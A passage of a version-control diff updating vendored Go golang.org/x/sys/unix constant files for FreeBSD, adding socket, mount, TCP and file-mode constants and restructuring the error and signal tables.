- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -969,6 +1016,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -980,8 +1028,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1006,8 +1108,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1162,7 +1266,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1172,15 +1275,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1196,6 +1301,7 @@ const (
- SIOCGETSGCNT = 0xc0207210
- SIOCGETVIFCNT = 0xc028720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1217,8 +1323,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc030698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1249,6 +1358,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1267,6 +1377,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1275,6 +1386,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1287,15 +1399,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1306,10 +1455,45 @@ const (
- TCOFLUSH = 0x2
- TCOOFF = 0x1
- TCOON = 0x2
-+ TCP_BBR_ACK_COMP_ALG = 0x448
-+ TCP_BBR_DRAIN_INC_EXTRA = 0x43c
-+ TCP_BBR_DRAIN_PG = 0x42e
-+ TCP_BBR_EXTRA_GAIN = 0x449
-+ TCP_BBR_IWINTSO = 0x42b
-+ TCP_BBR_LOWGAIN_FD = 0x436
-+ TCP_BBR_LOWGAIN_HALF = 0x435
-+ TCP_BBR_LOWGAIN_THRESH = 0x434
-+ TCP_BBR_MAX_RTO = 0x439
-+ TCP_BBR_MIN_RTO = 0x438
-+ TCP_BBR_ONE_RETRAN = 0x431
-+ TCP_BBR_PACE_CROSS = 0x442
-+ TCP_BBR_PACE_DEL_TAR = 0x43f
-+ TCP_BBR_PACE_PER_SEC = 0x43e
-+ TCP_BBR_PACE_SEG_MAX = 0x440
-+ TCP_BBR_PACE_SEG_MIN = 0x441
-+ TCP_BBR_PROBE_RTT_GAIN = 0x44d
-+ TCP_BBR_PROBE_RTT_INT = 0x430
-+ TCP_BBR_PROBE_RTT_LEN = 0x44e
-+ TCP_BBR_RACK_RTT_USE = 0x44a
-+ TCP_BBR_RECFORCE = 0x42c
-+ TCP_BBR_REC_OVER_HPTS = 0x43a
-+ TCP_BBR_RETRAN_WTSO = 0x44b
-+ TCP_BBR_RWND_IS_APP = 0x42f
-+ TCP_BBR_STARTUP_EXIT_EPOCH = 0x43d
-+ TCP_BBR_STARTUP_LOSS_EXIT = 0x432
-+ TCP_BBR_STARTUP_PG = 0x42d
-+ TCP_BBR_UNLIMITED = 0x43b
-+ TCP_BBR_USEDEL_RATE = 0x437
-+ TCP_BBR_USE_LOWGAIN = 0x433
- TCP_CA_NAME_MAX = 0x10
- TCP_CCALGOOPT = 0x41
- TCP_CONGESTION = 0x40
-+ TCP_DATA_AFTER_CLOSE = 0x44c
-+ TCP_DELACK = 0x48
- TCP_FASTOPEN = 0x401
-+ TCP_FASTOPEN_MAX_COOKIE_LEN = 0x10
-+ TCP_FASTOPEN_MIN_COOKIE_LEN = 0x4
-+ TCP_FASTOPEN_PSK_LEN = 0x10
- TCP_FUNCTION_BLK = 0x2000
- TCP_FUNCTION_NAME_LEN_MAX = 0x20
- TCP_INFO = 0x20
-@@ -1317,6 +1501,12 @@ const (
- TCP_KEEPIDLE = 0x100
- TCP_KEEPINIT = 0x80
- TCP_KEEPINTVL = 0x200
-+ TCP_LOG = 0x22
-+ TCP_LOGBUF = 0x23
-+ TCP_LOGDUMP = 0x25
-+ TCP_LOGDUMPID = 0x26
-+ TCP_LOGID = 0x24
-+ TCP_LOG_ID_LEN = 0x40
- TCP_MAXBURST = 0x4
- TCP_MAXHLEN = 0x3c
- TCP_MAXOLEN = 0x28
-@@ -1332,8 +1522,30 @@ const (
- TCP_NOPUSH = 0x4
- TCP_PCAP_IN = 0x1000
- TCP_PCAP_OUT = 0x800
-+ TCP_RACK_EARLY_RECOV = 0x423
-+ TCP_RACK_EARLY_SEG = 0x424
-+ TCP_RACK_IDLE_REDUCE_HIGH = 0x444
-+ TCP_RACK_MIN_PACE = 0x445
-+ TCP_RACK_MIN_PACE_SEG = 0x446
-+ TCP_RACK_MIN_TO = 0x422
-+ TCP_RACK_PACE_ALWAYS = 0x41f
-+ TCP_RACK_PACE_MAX_SEG = 0x41e
-+ TCP_RACK_PACE_REDUCE = 0x41d
-+ TCP_RACK_PKT_DELAY = 0x428
-+ TCP_RACK_PROP = 0x41b
-+ TCP_RACK_PROP_RATE = 0x420
-+ TCP_RACK_PRR_SENDALOT = 0x421
-+ TCP_RACK_REORD_FADE = 0x426
-+ TCP_RACK_REORD_THRESH = 0x425
-+ TCP_RACK_SESS_CWV = 0x42a
-+ TCP_RACK_TLP_INC_VAR = 0x429
-+ TCP_RACK_TLP_REDUCE = 0x41c
-+ TCP_RACK_TLP_THRESH = 0x427
-+ TCP_RACK_TLP_USE = 0x447
- TCP_VENDOR = 0x80000000
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
- TIOCCONS = 0x80047462
-@@ -1397,6 +1609,8 @@ const (
- TIOCTIMESTAMP = 0x40107459
- TIOCUCNTL = 0x80047466
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1570,138 +1784,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-index c5c6f13e..e4719873 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc144648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x804c6490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc06c648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -615,6 +633,7 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -951,6 +970,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -989,6 +1012,49 @@ const (
- MAP_STACK = 0x400
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0x2d8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VISFLAGMASK = 0x3fef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1013,6 +1079,7 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-@@ -1304,6 +1371,35 @@ const (
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
